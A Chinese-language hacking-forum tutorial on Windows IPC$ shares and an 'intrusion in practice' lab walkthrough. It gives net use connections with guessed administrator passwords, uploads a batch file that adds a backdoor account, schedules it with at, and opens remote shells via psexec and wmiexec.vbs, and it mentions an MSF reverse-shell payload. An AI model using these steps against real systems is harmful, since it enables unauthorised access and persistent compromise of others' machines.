taibeihacker
Moderator
0x01 ipc$的定义
IPC$(Internet Process Connection)是共享'命名管道'的資源(大家都是這麼說的),它是為了讓進程間通信而開放的命名管道,可以通過驗證用戶名和密碼獲得相應的權限,在遠程管理計算機和查看計算機的共享資源時使用。利用IPC$,連接者甚至可以與目標主機建立一個空的連接而無需用戶名與密碼(當然,對方機器必須開了ipc$共享,否則你是連接不上的),而利用這個空的連接,連接者還可以得到目標主機上的用戶列表(不過負責的管理員會禁止導出用戶列表的)。0x02 ipc$与空连接,139,445端口,默认共享的关系
ipc$与空连接:
不需要用戶名與密碼的ipc$連接即為空連接,一旦你以某個用戶或管理員的身份登陸(即以特定的用戶名和密碼進行ipc$連接),自然就不能叫做空連接了.許多人可能要問了,既然可以空連接,那我以後就空連接好了,為什麼還要費九牛二虎之力去掃描弱口令,呵呵,原因前面提到過,當你以空連接登陸時,你沒有任何權限(很鬱悶吧),而你以用戶或管理員的身份登陸時,你就會有相應的權限(有權限誰不想呀,所以還是老老實實掃吧,不要偷懶喲).
ipc$与139,445端口:
ipc$連接可以實現遠程登陸及對默認共享的訪問;而139端口的開啟表示netbios協議的應用,我們可以通過139,445(win2000)端口實現對共享文件/打印機的訪問,因此一般來講,ipc$連接是需要139或445端口來支持的.ipc$与默认共享
默認共享是為了方便管理員遠程管理而默認開啟的共享(你當然可以關閉它),即所有的邏輯盤(c$,d$,e$……)和系統目錄winnt或windows(admin$),我們通過ipc$連接可以實現對這些默認共享的訪問(前提是對方沒有關閉這些默認共享)0x03 ipc$入侵实战
1.實驗環境:.攻擊機:win7x64 IP:192.168.1.101
靶機: win2003 ip:192.168.1.108
2.通過掃描器掃描IPC$弱口令連接:
這裡推薦大家用ntscan或者溯雪和x-scan,porscan等掃描器

3.通過net use 建立一個非空連接:
連接域backlion的ipc$:
net use \\192.168.1.108\c$ “12345@12345qw” /user:backlion\administrator
net use \\192.168.1.108\c$ 123456 /user:administrator //建立的非空連接
或者
net use \\192.168.1.108\c$ ' 123456' /user:administrator //建立的非空連接
net use \\192.168.1.108\c$ '' /user:administrator //空連接,無密碼

4.這裡準備上傳一個建立bk賬號的批處理:
d:\user.bat 文件內容為:net user bk bk123 /add

注:這裡也可以上傳MSF下生成的exe,上傳到靶機上執行,然後反彈出shell,更能很好地操作。
5.通過copy命令上傳本地攻擊機的批處理文件到目標靶機的c$上,也就是靶機的c:\
copy user.bat \\192.168.1.108\c$

注意:文件下載
copy \\192.168.1.108\c$\user.bat user.bat
6.查看目標靶機的時間:
net time \\192.168.1.108

7.通過at命令在特定時間執行批處理文件:
at \\192.168.1.108 12:13:00 c:\user.bat

6.在目標靶機上發現賬號已成功添加執行:

8.其他命令:
將目標共享建立一個映射Z盤:
net use z: \\192.168.1.108\c$

查看已建立的會話:
net use

刪除會話連接:

9.通過psexec工具進行會話連接執行
psexec.exe \\192.168.1.108 cmd //前提是需要建立一個空連接或者非空連接

psexec.exe \\192.168.1.108 cmd -u administrator -p 123456 //不需要建立空連接

然後就可以在目標靶機上任意執行命令:

10.通過wmiexec.vbs進行遠程會話執行:
csript.exe wmiexec.vbs /shell 192.168.1.108 administrator 123456

然後執行一些系統命令:

0x04 ipc$连接失败的原因
以下5個原因是比較常見的:1)你的系統不是NT或以上操作系統;
2)對方沒有打開ipc$默認共享
3)對方未開啟139或445端口(惑被防火牆屏蔽)
4)你的命令輸入有誤(比如缺少了空格等)
5)用戶名或密碼錯誤(空連接當然無所謂了)
另外,你也可以根據返回的錯誤號分析原因:
錯誤號5,拒絕訪問: 很可能你使用的用戶不是管理員權限的,先提升權限;
錯誤號51,Windows 無法找到網絡路徑: 網絡有問題;
錯誤號53,找不到網絡路徑: ip地址錯誤;目標未開機;目標lanmanserver服務未啟動;目標有防火牆(端口過濾);
錯誤號67,找不到網絡名: 你的lanmanworkstation服務未啟動;目標刪除了ipc$;
錯誤號1219,提供的憑據與已存在的憑據集衝突: 你已經和對方建立了一個ipc$,請刪除再連。
錯誤號1326,未知的用戶名或錯誤密碼: 原因很明顯了;
錯誤號1792,試圖登錄,但是網絡登錄服務沒有啟動: 目標NetLogon服務未啟動。 (連接域控會出現此情況)
錯誤號2242,此用戶的密碼已經過期: 目標有帳號策略,強制定期要求更改密碼。
關於ipc$連不上的問題比較複雜,除了以上的原因,還會有其他一些不確定因素,在此本人無法詳細而確定的說明,就靠大家自己體會和試驗